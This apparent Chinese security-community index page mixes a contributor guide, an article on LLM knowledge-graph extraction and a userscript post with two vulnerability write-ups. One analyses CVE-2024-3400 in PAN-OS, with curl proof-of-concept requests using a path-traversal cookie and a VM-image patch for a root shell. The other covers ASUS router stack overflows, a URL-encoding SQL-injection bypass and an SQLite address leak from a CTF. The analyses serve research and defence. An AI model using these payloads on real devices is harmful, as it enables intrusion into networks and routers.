包含关键字 typecho 的文章

火线Zone是由火线安全平台打造的安全技术专家聚集和交流的社区，旨在推动数智时代的安全生态。

通过火线Zone内容社区、火线技术沙龙等形式，为技术专家提供最前沿的技术分享和交流。目前，火线Zone社区成员已超过20000人的规模，其中不乏来自腾讯、华为、Gitlab、绿盟、去哪儿等知名企业的CTO、CISO、安全VP、安全技术专家等，通过社群和活动讨论交流安全攻防、黑客溯源、企业安全管理、安全运营、软件应用安全、云计算安全等方向技术话题。

截止目前，火线Zone累计举办公开的技术交流活动27场(点击查看)、技术内容超过2000篇、10余个城市举办线下交流活动，全方位促进社区成员与企业之间的学习、交流与合作，为安全从业者提供全新思路，共同探讨行业未来发展之路。

在这里，我们重视每一位成员的声音！火线Zone现在诚挚邀请您加入我们的数智安全社区，分享自己经验，和大咖共探数智安全未来。

投稿须知

欢迎您向火线Zone投稿，分享您的知识和经验。为了确保您的稿件能够顺利通过审核并发表，请您仔细阅读以下投稿指南：
投稿文章内容方向包括并不仅限于以下方向：

  1. 应用安全：当年最新的漏洞分析、安全预警及最新的测试技巧，并具备广泛影响性。
  2. APP安全：针对APP、小程序的实战对抗、逆向分析、隐私合规等实战评估及测试方法论内容。
  3. AIOT安全：针对可穿戴设备、安防设备、智能家居、汽车、工业设备等硬件设备的逆向分析、漏洞挖掘的实战评估和测试方法论内容
  4. 黑客事件：针对DDOS、勒索病毒、APT攻击等实战黑客攻击的完整事件溯源分析以及威胁分析的方法论。
  5. 红队攻防：针对中大型企业的真实攻防案例，具备防御机制绕过、内网横向、公有云横向等环节内容
  6. 安全运营：针对基础安全、开发安全、办公网安全、安全托管运营等安全运营方向的实战落地内容
  7. 其他：前沿领域安全研究，如大模型安全、AI应用安全等

希望你的文章质量满足以下要求：

  1. 提供深入的分析和独到见解，揭示未公开的新内容。
  2. 全面总结某一领域知识，可作为参考手册。
  3. 确保内容已授权且完全脱敏，遵守法律法规，不涉及非法安全测试。
  4. 文章篇幅需要符合深度分析的篇幅要求，具体篇幅长度视内容类型审核

审核流程说明：

  1. 投稿后，若15天内未收到发表通知，您可自行决定是否向其他平台投稿。我们反对一稿多投，一经发现，将不予审核通过。
  2. 火线Zone不提供稿件退回服务，请作者自行备份原稿。
  3. 对于非原创、抄袭、洗稿或未遵守转载规则的稿件，我们将进行删除处理，并取消任何奖励，同时发布违规公告。

如何投稿

  1. 在线投稿
    （注：为方便查看稿件审阅进度，请优先选择在线投稿方式）
    进入火线Zone[https://zone.huoxian.cn/]>点击左上方【发布主题】-> 在文章开头添加#应用安全#等文章类型标签。
    文章稿件支持Markdown格式，文章发布后，社区管理员将对其进行审核并进行精华优选，请耐心等待审核。
    没有火线Zone账户的用户，可前往火线Zone注册申请加入。
  2. 邮件投稿
    您也可以将文章或稿件发送至zone@huoxian.cn
  3. 稿件疑问
    欢迎添加火线安全小助手，投稿问题可随时咨询。

投稿奖励

  1. 基础奖励：如果您未有火线安全平台认证邀请码，文章通过后你将获取到邀请码一枚，可以来注册成为火线白帽子参与平台漏洞悬赏项目。
  2. 基础奖励：文章如审核通过即可获普通文章奖励（50查克拉积分），可用于兑换火线安全商城的礼品
  3. 优秀奖励：文章内容符合社区征稿意向，内容充实有新意可获优秀文章奖励（50查克拉积分 + 500RMB）。
  4. 精华奖励：最新的事件分析和安全预警，分享业内前沿最新技术、 0day 分析与利用、个人安全开发研究新成果 等方面的奇技淫巧、心经等可获加精文章奖励(（100查克拉 + 1000RMB）。
  5. 精华奖励：发布文章并获取精华标签后，可以直接加入渗透测试、APP安全、IOT安全、威胁情报、红蓝对抗等相关领域核心众测群，参与平台私密众测项目。
  6. 无奖励：内容深度较浅或网上有一定公开类似、单纯的工具介绍使用则不予奖励。

内容奖励要求：

  1. 基础奖励在内容符合要求的前提下，阅读量不做要求
  2. 优秀奖励在内容符合要求的前提下，阅读量当月突破500
  3. 精华奖励在内容符合要求的前提下，阅读量当月突破1000（内容质量较高不受此条件限制）

奖励将在每月第一周公示并发放至火线安全平台账户，可在火线安全平台申请提现。
PS：文章通过后请联系“火线小助手”加入火线Zone创作者群，与其他创作者一起思想碰撞！

转载说明

为了维护原创作者的权益，确保内容的合法传播，特制定以下转载规则。在您希望转载火线Zone社区的文章时，请务必遵守以下指南：

  1. 版权声明：在您的平台上转载文章时，请明确标注【原文来自火线Zone、原文作者以及原文链接】。
  2. 转载声明：请在文章的显著位置注明以下声明：“本文经火线Zone授权发布，转载请联系火线Zone社区。”
  3. 内容修改：您可以对文章标题和内容进行适度修改，以适应您的平台风格，但请确保不改变文章的核心观点和主旨。
  4. 公众号转载：若您希望在微信公众号上转载，请先通过火线Zone社区的官方渠道申请授权。获得授权后，请在文章开头注明公众号信息，并在文末附上转载声明。
  5. 责任归属：转载文章产生的任何版权纠纷，由转载方自行承担。请尊重知识产权，未经授权的转载行为将被视为侵权。
  6. 独家代理：如果您是文章的原创作者，并且希望火线Zone作为您作品的独家代理，请在投稿时声明，并确保作品未在其他平台发布。
  7. 版权保证：投稿者需保证拥有所投稿件的完整著作权，并授权火线Zone及其关联平台进行发布和传播。
    我们期待与您共同维护一个尊重原创、鼓励分享的社区环境。感谢您的理解和支持！

加入社群

火线Zone已经开启外部粉丝社区群和城市技术社群，大家可在群内进行技术交流，但严禁发表与技术无关的和讨论政治相关内容

添加“火线小助手”，并发送以下关键字加入社区
并发送“社区群”可以加入火线Zone社区技术群
发送“同城群”可以加入火线Zone城市分群

向WooYun Zone、Drops致敬

：）

大语言模型在文本生成和推理上的表现有目共睹，但对于从非结构化文本构建可靠知识图谱这件事，依然是个老大难。这个问题的根源在于：语言模型的运作机制与结构化知识提取的需求之间存在本质性的错位。

本文会介绍自动化知识图谱生成的核心难题：生成式模型为什么搞不定结构化提取，判别式方案能提供什么样的替代选择，生产级知识图谱的质量标准又是什么。

语言模型在知识图谱提取上栽跟头的原因

即使是当前最顶尖的模型，在结构化提取上也会翻车。这事儿不只是幻觉问题，而是语言模型生成文本的方式和知识图谱的需求之间存在根本性冲突。

生成式模型构建知识图谱时会有一连串的麻烦：实体消歧首当其冲，同一个实体换个说法出现，模型就可能认不出来，遗漏共指关系直接导致图谱碎片化；组合实体也很麻烦"墨西哥城"这种术语涉及嵌套概念（城市和国家），需要层级化表示；规模一大幻觉问题就压不住了，概率生成会编造出看着挺像那么回事但纯属虚构的实体和关系，在需要分段处理的长文本里这个问题尤其突出；还有上下文依赖，很多实体之间的关联只有看到完整文档才说得通，但把整个文档丢进去又会放大幻觉率。

吧i如说法律文档分析中，单个段落里模型把"甲方"识别成一个实体，转头又把"前述当事人"当成另一个实体——它们分明是同一个组织。这种段落级别的碎片化让生成的图谱噪声满满，导致后处理的工作量相当可观。

有人尝试切小文本块来压制幻觉，但是会出现关系丢失和实体重复。段落级别就已经有问题了——重要的实体关联可能跨越多个句子，激进地切到句子级别会把这些依赖关系彻底打碎。推理成本还会上去因为模型得跑好几遍才能处理完同样的内容。

上下文丢失随着窗口缩小而加剧。段落级别已经有麻烦，句子级别只会更糟

生成式架构的这些局限性引出一个问题：有没有更适合结构化提取的模型类型？

判别式模型 vs 生成式模型

判别式语言模型——基于掩码语言建模训练的双向注意力模型——在知识图谱提取上提供了一条不同的路径。

优势从何而来？判别式模型天生擅长 Token 和序列分类。命名实体识别可以直接建模为输入序列上的 Token 级分类任务，生成步骤压根不需要。

命名实体检测作为 Token 分类处理，根本不走生成流程

架构上的契合让判别式模型不仅在结构化提取上更准，效率也足够支撑边缘部署——一个 BERT 模型在普通硬件上就能跑，DeepSeek 可不行。

但是判别式模型需要在领域数据上做针对性微调，效果比生成式模型的用法强；生成式模型靠 Prompt 和少样本示例就能适应新任务，不用额外训练。

不管选那种方法成功的提取都得从扎实的基础开始。学术上管这个叫"断言知识图谱"（asserted knowledge graphs），它代表源文本的基准真值。需要迭代优化的时候，这个基础的价值就体现出来了。

断言知识图谱：可验证的基础

断言知识图谱只表示源文本里明确说了的东西——不做推理，不引入外部知识，有什么记什么。源就是文本本身，这个图谱就是该文档的可验证基准。

构建断言知识图谱涉及三个核心任务：实体识别负责找出人名、组织、日期、领域术语等关键片段并归类；关系提取要发现实体之间明确表达的连接；共指消解则是把指向同一实体的不同说法归并到一个节点上。

这些任务恰好落在判别式模型擅长的 Token 和序列分类范畴内，所以基于 BERT 的专用系统通常会分开处理它们。

但这种顺畅的流水线方法有个要命的问题：

这些任务通常串行执行：先提取实体，再检测关系，最后做共指消解。多阶段流水线的问题在于每一步都会积累误差。

实体识别 90% 准确率，关系提取 90% 准确率，乘起来只剩 81%，误差传播是现代方法转向端到端模型的直接原因

单个语言模型一次性生成完整图谱结构，可以规避链式专用模型的复合失败。哪怕每个专用组件在各自的子任务上表现更好，端到端方案的整体效果往往更优。

断言知识图谱是可验证的基线。下游任务需要额外信息，比如隐式关系、外部知识库连接、领域特定增强的时候，扩展是在可信基础上进行，不用质疑整个图谱的有效性。

生产系统里这一点至关重要。可解释性和调试都依赖于一个前提：知道哪些信息直接来自源文本，哪些来自推理或增强。

不过，光有这个可验证基础对很多实际应用来说还不够，还需要增强策略。

断言知识图谱的增强

断言知识图谱本身往往撑不起实际应用。从法律文档提取基准真相之后，反复碰到三个根本性限制：图谱里经常有孤立的实体簇，没有连接路径，遍历性很差；真实文档假设了一堆没明说的共享上下文，这部分隐式知识缺失严重；实体需要规范化到更广的知识库才能做下游集成，外部对齐需求绕不开。

这些缺口需要有针对性的增强策略来补。

下游任务经常能从一些易于自动生成的直观关系中获益，比如说"是一个"、"位于"、"属于"之类的词语。

层级关系的价值是非常大的，添加分类学连接可以把实体组织成本体论结构，比如建立 [雇佣合同, 是一个, 法律合同] 或 [甲方, 是一个, 公司]，扁平的实体列表就变成了可导航的层级。

生成式语言模型在受限于预定义关系词汇表时可以胜任这种增强。放开限制的话幻觉风险会上升，而且模型容易退化成通用常识里那套标准层级关系丢失领域特异性。

基于规则的增强

逻辑规则是另一条路，从已有模式推断新事实，利用简单规则比如"如果实体 A 雇佣实体 B那么实体 A 是一个组织"可以把领域知识显式编码进去。

多跳规则能支撑更复杂的推理："案件 A 违反了第 5 条，第 5 条属于法规 R，那么案件 A 也违反了法规 R。"链式推理可以大幅提升图谱连通性揭示隐式关系。

但是代价是基于规则的增强需要领域专家来定义有效的推理模式

规则不会泛化到专家编码之外的地方，但也不会编造出无效关系。正确性压倒一切的场景里这份可靠性非常靠谱的。

链接预测与知识库对齐

另外一种思路是在现有实体集里识别缺失关系，不加新节点就能提升图谱连通性。实现方式是在领域特定知识库上训练链接预测模型。

模型在 [实体 A — 关系 — 实体 B] 三元组上训练，学会判断任意两个实体之间是否存在关系，存在的话是什么类型

生成式语言模型也能通过 Prompt 预测缺失关系，不过幻觉风险更高，需要严格界定有效关系子集。

保留源上下文

还有一种增强方式是保留原始源结构。

创建代表文本片段的节点，句子、段落或整篇文档。实现方式有两种：把这些节点连接到相关实体上以提升整体连通性，或者构建嵌套层级，让高层文本节点包含从其内容中提取的子图

这种增强不会引入事实错误，因为表示的是源里实际存在的东西不是推断出来的新知识。

实体在多个上下文里出现时，来源节点能揭示单个实体连接里看不到的使用模式和语义关系。任何实体或关系都可以追溯到精确的源位置，不仅知道提取了什么还知道它来自哪里、出现在什么语境下。

更简单的实现可以在图谱构建期间直接在实体和关系节点上存源元数据（文档 ID、句子位置），省掉额外结构节点的开销。选择用元数据还是显式节点，取决于下游任务是否需要把文本片段本身当作可查询的图谱实体来处理。

主题聚类提升连通性

孤立组件对图谱遍历和全局查询始终是个问题，基于主题的聚类通过创建桥接节点来连接相关实体。

直接的做法是用预定义类别：在领域特定主题上训练分类模型（法律文档的话就是"劳动法"、"知识产权"、"合同纠纷"之类），然后创建主题节点，把每个类别下文档里的所有实体连起来。

这种方法可解释性好，对分类体系稳定的领域很适用

GraphRAG 这类更复杂的方案用层级社区检测算法在多个粒度上自动发现实体簇，计算开销会大一些。

用预定义分类还是自动发现，需要看领域是有成熟类别体系还是更适合新兴模式检测。

增强策略的选择

这里有一个最简单和直接的方案：用同一个生成式模型从基准真相图谱和原始文本中推断隐式实体和关系。

这种增强策略限定在预定义关系类型范围内，产生的知识图谱有效捕获了下游 GNN 分类任务所需的语义结构。

最优增强策略完全取决于下游应用。需要跨孤立组件做复杂推理的任务，聚类技术提供必要的连通性

分类或以实体为中心的任务，选择性推断隐式知识可能就够了。正确性优先于覆盖率的高风险领域，基于规则的方法保证可靠性。

增强前：

"甲方"（实体）

"雇佣合同"（实体）

添加分类学关系后：

"甲方" → [是一个] → "公司" → [是一个] → "法律实体"

"雇佣合同" → [是一个] → "法律合同" → [是一个] → "文档"

反复试下来会发现，最有效的方案往往不是直觉上那个：从断言基础开始，迭代增强，直到图谱能服务于预期目的。

总结

知识图谱提取的核心矛盾在于：语言模型擅长生成流畅文本，却不擅长输出结构化、一致、可验证的知识表示。理解这一点，才能做出正确的技术选型。

判别式模型在精度和效率上占优，但需要领域微调；生成式模型灵活性强，却要承担幻觉和碎片化的代价。两者并非非此即彼，关键是明确下游任务的需求。

断言知识图谱作为可验证基础的价值不可替代。在此之上叠加增强策略——分类学扩展、规则推理、链接预测、源上下文保留、主题聚类——根据应用场景组合使用，才能构建出真正可用的生产级知识图谱。

https://avoid.overfit.cn/post/767c139e559b44d0b467a925d5384841

作者：Fabio Yáñez Romero

周五了，利用摸鱼时间为 2Libra 打造了新的油猴脚本 - 2Libra Plus。

✨ 主要功能

1. 通知中心增强

  • 未读消息高亮：自动检测通知列表中的未读条目，并在左侧添加醒目的橙色竖线标记，帮助你快速定位未处理的通知。
  • 自动已读（可选）：支持进入通知页后自动将当前页消息标记为已读，减少重复点击操作（默认开启，可在设置中关闭）。

screencapture

2. 主题列表增强

  • 回复时间颜色渐变：根据你上次在首页查看时间，将最新回复显示得更醒目，较久之前的回复颜色更浅，帮助你一眼区分「最近更新」和「很久没动」的帖子。为了避免频繁刷新带来的视觉抖动，「上次查看时间」在 5 分钟内不会更新；最新回复会使用 --color-primary 颜色展示，更加醒目。

screencapture

3. 个性化设置

  • 提供可视化的设置面板，可随时开启或关闭特定功能，按需定制你的使用体验。

!. 还会有更多功能...

⬇️ 安装方法

相关链接

建议反馈

大家如有需要的功能，尽管提，觉得有用我会考虑加进去。

CVE-2024-3400 Palo Alto Networks PAN-OS命令注入漏洞


…

TL; DR

4月12日的是看到 paloaltonetworks 有一个安全公告[1], CVE编号是 CVE-2024-3400， 漏洞是一个命令注入，影响的版本如下：

image.png

然后在复现的过程中发现 watchTowr Labs[2] 已经发了他们的分析， 那就顺着他们的分析学习下这洞吧， 这里提下我的复现版本为 10.2.9

环境搭建

由于漏洞公告[1]提到， 该漏洞的影响需要 PAN-OS 配置 GlobalProtect portal 或者 GlobalProtect gateway， 所以我们需要先完整的搭建下我们的环境。

简单说下配置的流程， 我这里的配置是参考 QWB S6 Final Pan 这个题目的环境配置的（ 亏我还能找到这个题目的虚拟机）， 另外提一句当时强网杯利用的 CVE-2021-3064 这个漏洞还是蛮有意思的。

首先，我的虚拟机有三个网卡，

image.png

网卡1是管理口， 网卡2准备用来做门户和网关的网段 ，我这里用的网段是 192.168.100.1/24 。 登陆到管理口的后台后，依次设置

  • NETWORK->接口 设置以太网接口， 接口类型设置为 3层， 设置 IPV4 的静态 IP

image.png

  • DEVICE->证书管理->证书， 生成 RootCert 再基于 RootCert 派发一个 gp_cer

image.png

  • DEVICE->证书管理-> SSL/TLS 服务配置文件 依据 gp_cert 配置 SSL_PROFILE

image.png

  • 然后到 NETWORK->GlobalProtect->门户 配置门户， 中间可能少了一点东西， 这里贴一下我的配置项， 缺什么补什么就好了

image.png

image.png

  • NETWORK->GlobalProtect->网关 网关配置是也是差不多

image.png

image.png

然后现在在另外一台虚拟机里，也设置上同样的 192.168.100.1/24 网段的网卡， 就可以访问到门户了

image.png

由于没有所谓的设备证书， 此次漏洞能命令执行提到的 telemetry 功能是不可用状态

image.png

访问 https://192.168.1.101/ssl-vpn/hipreport.esp 就是 https://192.168.1.101/ssl-vpn/hipreport.esp 的返回

image.png

shell 和文件系统的获取直接用了当时 QWB时候 Larryxi[3] 大哥提供的方法

  • patch vmem获取本地shell
    • sed -i "s/\/usr\/local\/bin\/cli/\/\/\/\/\/\/\/\/\/\/\/\/bin\/sh/g" PA1029-9aad9851.vmem
    • sed -i "s/admin:x:1001:1004/admin:x:0000:0000/g" PA1029-9aad9851.vmem
  • 查看固件内容方式， 挂载 vmdk 就行
    j
    1
    2
    3
    sudo modprobe nbd
    sudo qemu-nbd -c /dev/nbd1 /mnt/hgfs/qwb-final/PA-disk1.vmdk
    sudo mount /dev/nbd1p2 /mnt/panos/

这样就可以 admin 用户登陆之后是一个 root 权限的 shell ， 之后调试之类的也可使用 ssh 登陆

漏洞分析

在[1] 文章就已经提到了漏洞的触发路径， 首先是 gpsvc 文件在处理 Cookie 字段的时候会有一个任意文件写， 其次是 telemetry 功能的定时任务 device_telemetry_send 会用 /usr/local/bin/dt_send 发送数据的时候会拼接文件名到命令中，造成命令注入。

我们依次简单分析下

gpsvc 任意文件写分析

通过 netstat 命令， 我们可以看到 gpsvc 监听在 20277 端口上，

image.png

在查看 /etc/nginx/sslvpn/localtion.conf 的配置文件中， 我们看到如下配置

image.png

可以看到 ssl-vpn 相关的部分接口为通过 nginx 代理转发到 20177 端口， 就是 gpsvc 程序里处理。

逆向分析

我们把程序拿出来分析， 坏消息是这个程序是 golang 编写的， 好像是有符号， 而且我们已经知道了漏洞大致位置， 可以通过直接找到 main__ptr_SessDiskStore_New 函数

我们在这个函数里可以看到一个通过 Cookie 里的值然后拼接文件名的操作，

image.png

比如我们在 146 行下一个断点， 然后使用如下 PoC 触发：

1
2
3
4
5
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 158' \
-b $'SESSID=/../../../tmp/hacked' \
--data-binary $'user=watchTowr&portal=watchTowr&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=watchTowr&computer=watchTowr&client-ip=watchTowr&client-ipv6=watchTowr&md5-sum=watchTowr&gwHipReportCheck=watchTowr' \
$'https://192.168.1.101/ssl-vpn/hipreport.esp'

到达main__ptr_SessDiskStore_New 函数的backtrace如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) bt
#0  main.(*SessDiskStore).New (s=0xc000821800, r=0xc00260f400, name=..., ~r2=0x0, ~r3=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_session.go:103
#1  0x0000000000a472c3 in github.com/gorilla/sessions.(*Registry).Get (s=0xc00c1a6a60, store=..., name=..., session=0x0, err=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/3p/pkg/mod/github.com/gorilla/sessions@v1.2.1/sessions.go:139
#2  0x0000000000aee55d in main.(*SessDiskStore).Get (s=0xc000821800, r=0xc00260f400, name=..., ~r2=0x0, ~r3=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_session.go:87
#3  0x0000000000af606a in main.(*GpTask).initHttp (t=0xc00725eb00, r=0xc00260f400, ~r1=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_task.go:442
#4  0x0000000000afd0a9 in main.(*GpTask).RunHttp (t=0xc00725eb00, w=..., r=0xc00260f400, ~r2=false)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_task.go:802
#5  0x0000000000b10b48 in main.(*GpTaskMgmt).MainHttpEntry (tm=0xc000870000, w=..., r=0xc00260f300)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_taskmgmt.go:450
#6  0x0000000000b3aadd in main.(*GpTaskMgmt).MainHttpEntry-fm (w=..., r=0xc00260f300)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_taskmgmt.go:406
#7  0x0000000000867f74 in net/http.HandlerFunc.ServeHTTP (f={void (net/http.ResponseWriter, net/http.Request *)} 0xc00c2077a8, w=..., r=0xc00260f300)
at /usr/local/go/src/net/http/server.go:2036
#8  0x0000000000a78e56 in github.com/gorilla/mux.(*Router).ServeHTTP (r=0xc0006c20c0, w=..., req=0xc00260f300)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/3p/pkg/mod/github.com/gorilla/mux@v1.7.4/mux.go:210
#9  0x000000000086c7df in net/http.serverHandler.ServeHTTP (sh=..., rw=..., req=0xc00260f100) at /usr/local/go/src/net/http/server.go:2831
#10 0x0000000000866f1a in net/http.(*conn).serve (c=0xc0081981e0, ctx=...) at /usr/local/go/src/net/http/server.go:1919
#11 0x0000000000467411 in runtime.goexit () at /usr/local/go/src/runtime/asm_amd64.s:1357
#12 0x000000c0081981e0 in ?? ()
#13 0x0000000000d79060 in ?? ()
#14 0x000000c00c150680 in ?? ()
#15 0x0000000000000000 in ?? ()
(gdb)

image.png

此时可以看到 $rdi->array 存储了我们的 payload 的相关字符： session_/../../../tmp/hacked， 我们单步走一步走到调用main_loadSessFile 函数的位置

image.png

image.png

(分析到这，我突然反应过来他是golang 是旧版本的 api 调用 ， 搜了下字符串可以知道他的 golang 版本是 1.13.15)

1
.rodata:0000000000C956F6 aGo11315        db 'go1.13.15'

可以看到 /../ 相关字符被path_filepath_Join函数处理后已经被去除了，问题来了， 是在哪创建的的文件呢？

我们找到 syscall_Open 函数 ， 对其进行引用查找， 找到一条这样的调用链

1
main_loadSessFile->main_fileLock->syscall_Open

而此时 main_loadSessFile 的参数就是我们想要创建的文件

image.png

image.png

open 的定义为 int open(const char *pathname, int flags, mode_t mode); 第二个参数是个 flags， 当值为 0x40 的时候为 O_CREAT

O_CREAT 定义位于 fcntl.h 文件中， 可以在 linux 的内核代码[4]中看到,

1
2
3
4
5
6
#define O_ACCMODE	00000003
#define O_RDONLY	00000000
#define O_WRONLY	00000001
#define O_RDWR		00000002
#ifndef O_CREAT
#define O_CREAT		00000100	/* not fcntl */

O_CREAT 的值通常是 0100，这是一个八进制表示的值， 等同于十进制的 64 ，十六进制的 0x40， 通过查找相关资料[5]

image.png
发现只有文件不存在的时候才会创建文件。

例如使用如下 payload 尝试创建 /etc/passwd 的时候

1
2
3
4
5
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 158' \
-b $'SESSID=/../../../etc/passwd' \
--data-binary $'user=watchTowr&portal=watchTowr&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=watchTowr&computer=watchTowr&client-ip=watchTowr&client-ipv6=watchTowr&md5-sum=watchTowr&gwHipReportCheck=watchTowr' \
$'https://192.168.1.101/ssl-vpn/hipreport.esp'

可以看到 open 是返回了 0

image.png

这个漏洞会创建一个任意路径、文件名可控的文件（不能覆盖文件）。那么攻击者是如何将这么一个漏洞再组合成一个命令执行的呢？ 这就得提到 telemetry 功能了

telemetry 命令文件分析

根据官网 [5] 的介绍， 该功能是一个定时发送数据到远端的一个功能, 在环境搭建提到的该功能开启需要一个设备证书， 我目前的复现环境是不支持的。 只能分析分析功能了

在 /etc/cron.d 可以看到很多和 telemetry 相关的定时任务

image.png

其中 /usr/local/bin/dt_send 看起来是用来发送数据的

image.png

该程序由 python 编写， 可以看到简单判断了下功能是不是开启， 然后调用 check_and_send 函数

image.png

check_and_send 函数会接着调用 send_file_dirs_all

image.png

可以看到 send_file_dirs_all 函数会遍历 DEFAULT_DEVTELEM_OUTPUT_DIR 下的文件， 然后再调用 send_file_dir

image.png

而在 send_file_dir 函数中， 用 send_file 函数
image.png

在 send_file 函数中， 会将文件名拼接到 send_file_cmd 遍历中

image.png

接着调用 cmd_status = techsupport.dosys(send_file_cmd, None) ， 运行 dt_curl 命令， 该命令也是一个 python 程序，

dt_curl 里会调用 send_file 函数

image.png

在该函数中就拼接命令， 使用 pansys(curl_cmd, shell=True, timeout=250) 函数调用， 注意这里的 shell=True

image.png

image.png

这里最后调用到 /opt/plugins/2.0/python-lib/pan/pansys/pansys.py 文件中的 dosys

image.png

可以看到这里的shell参数默认是 False 的 但是由于send_file 调用的是传递进来设置了成了 True, 因此可以命令注入 。

Diff Patch

image-20240420215633491

新增了个 seesion 检查函数？
image.png

从日志可以可以看到似乎加了检查 {"level":"error","task":"3-22","time":"2024-04-20T06:28:12.18264473-07:00","message":"ArgFilterCheck: authcookie input is invalid"}

刚好也是这个补丁加的样子， 从编译路径来看

1
2
3
4
(gdb) bt
#0  main.(*GpTask).ArgFilterCheck (t=0xc000093080, filterName=..., argName=..., value=..., ~r3=9)
at /opt/build/workspace/NOMAD/89c94875/workspace/ations_gpsvc_hotfix_10.2.9-hf-ga/src/apps/pan_gpsvc_task.go:615
#1  0x0000000000afb593 in main.(*GpTask).ArgFilterCheckUser (t=0xc000093080, value=..., ~r1=0)

修复了 shell=True 的问题
image.png

思考

一个空文件创建到命令执行， 想必这个攻击者估计找这个功能了找了不少时间吧，此外该漏洞的利用目前需要开启telemetry 功能， 那么是否还有可以利用这个空文件创建的地方呢？ 这么大的一个系统也许还有吧， 有时间可以在仔细看看

image.png

  1. 1.CVE-2024-3400 https://security.paloaltonetworks.com/CVE-2024-3400↩
  2. 2.palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400 https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/↩
  3. 3.Larryxi blog https://aslr.io/about/↩
  4. 4.fcntl.h#24 https://elixir.bootlin.com/linux/latest/source/include/uapi/asm-generic/fcntl.h#L24↩
  5. 5.device-telemetry-overview https://docs.paloaltonetworks.com/pan-os/11-0/pan-os-admin/device-telemetry/device-telemetry-overview↩

Real World CTF 6th Router4 writeup


Writeup

, ,

…

前言

这次 RWCTF 就准备了一个题目: 「Router4」, 一共有三个队伍在比赛期间做了出来，题目的附件和题目介绍可以从Real-World-CTF-6th-Challenges[1]这个仓库看到 。

题目的场景就是一个 ASUS 路由器开放了 wan 的服务后（ lighttpd）， 该服务会默认监听在 443 端口上。题目环境是以 ASUS RT-AC68U的固件版本为 3.0.0.4.386.51665为基底进行模拟的。

在比赛结束后， 我将涉及的漏洞上报给了 ASUS 官方，然后获得了两个 CVE 编号，分别是CVE-2024-3079和CVE-2024-3080。同时也将部分非预期的情况告诉选手， 让选手也提前将非预期的漏洞上报给官方。

漏洞细节

Stack Overflow

在 ASUS 的 lighttpd 上其实是存在多个缓冲区溢出漏洞的， 这里列举几个比赛前和比赛后发现的 。

  • lighttpd cookie 处栈溢出， 直接通过 strncpy 拼接 cookie的值， 其中 tmp-used 就是 cookie 值的长度

image-20240531144331569

  • mod_aicloud_auth.so 解析 uri 处栈溢出， 直接从 ? 后取字符串，然后也是通过 strncpy拼接字符串， 长度可控

image-20240531145941750

  • replace_str 函数栈溢出

replace_str 函数中没有检查长度， 直接通过 sprintf 写入 buffer 中， 因此可以造成栈溢出

1
2
3
4
5
6
7
8
9
10
char *replace_str(char *st, char *orig, char *repl, char* buff){
char *ch;
if (!(ch = strstr(st, orig)))
return st;
strncpy(buff, st, ch-st);
buff[ch-st] = 0;
sprintf(buff+(ch-st), "%s%s", repl, ch+strlen(orig));

return buff;
}

通过查看调用链， 可以看到 change_webdav_file_path 调用了 replace_str 函数

image.png

从 mod_webdav.so 的二进制看就是， sub_7e60 函数传入了 buffer 这个参数，

image-20240531154324688

然后在 sub_7e60 函数中调用了 replace_str 函数，我们已经知道 replace_str 函数是直接通过 sprintf拼接字符串，没有检查， 因此存在栈溢出

image-20240531154439915

Infor Leak

其实预期解应该是选手还需要通过某个漏洞在实现泄漏 libc 信息， 但是实际上发现解决题目的其中两个队伍 BlueWater和 Kalmarunionen都用了爆破 libc的方法 （因为32位， 只有4096的随机概率)， 失误了 orz

在固件的逆向和代码审计的过程中，我们发现一个 sql 注入的存在，后面在上报漏洞给官方的时候才知道这个漏洞其实是之前就有人上报过了，编号为 CVE-2023-35720[2]

在 mod_webdav.so 中， 程序会从 HTTP 消息的 Header根据关键词取值，

image-20240531135012681

例如从 header 中取出 Keyword ， 之后在 2186 行处有一次判断值是否合法的代码， 如果值不合法则HTTP返回 207

image-20240531135146493

这里判断了是否为空、是否存在 ' 单引号， 如果合法后续会拼接到 sql 语句中执行。

image-20240531135333100

这里我们注意到一个地方， 在拼接之前会进行一次 urldecode， 此时我们显然很容易就会发现问题所在了， 我们可以通过 url 编码来绕过程序对 '单引号的检查，在后续拼接 sql 语句来达到 sql 注入的效果。

另外一个问题来了， 我们这个标题不是说信息泄漏吗？sql注入怎么达到信息泄漏呢？该组件sql数据库使用的是 sqlite3，在 sqlite3 中有一个可以用来地址泄漏的方法, 在2017年长亭的 特性还是漏洞？滥用 SQLite 分词器) [3]文章中有详细说明。

我们直接诶引用下原文说明下原理，SQLite3 中注册自定义分词器用到的函数是 fts3_tokenizer，实现代码位于 ext/fts3/fts3_tokenizer.c 的 scalarFunc 函数。支持两种调用方式：

1
2
SELECT fts3_tokenizer(<tokenizer-name>);
SELECT fts3_tokenizer(<tokenizer-name>, <sqlite3_tokenizer_module ptr>);

当只提供一个参数的时候，该函数返回指定名字的分词器的 sqlite3_tokenizer_module 结构体指针，以 blob 类型表示。例如在 sqlite3 控制台中输入：

1
sqlite> select hex(fts3_tokenizer('simple'));

image-20240531141122848

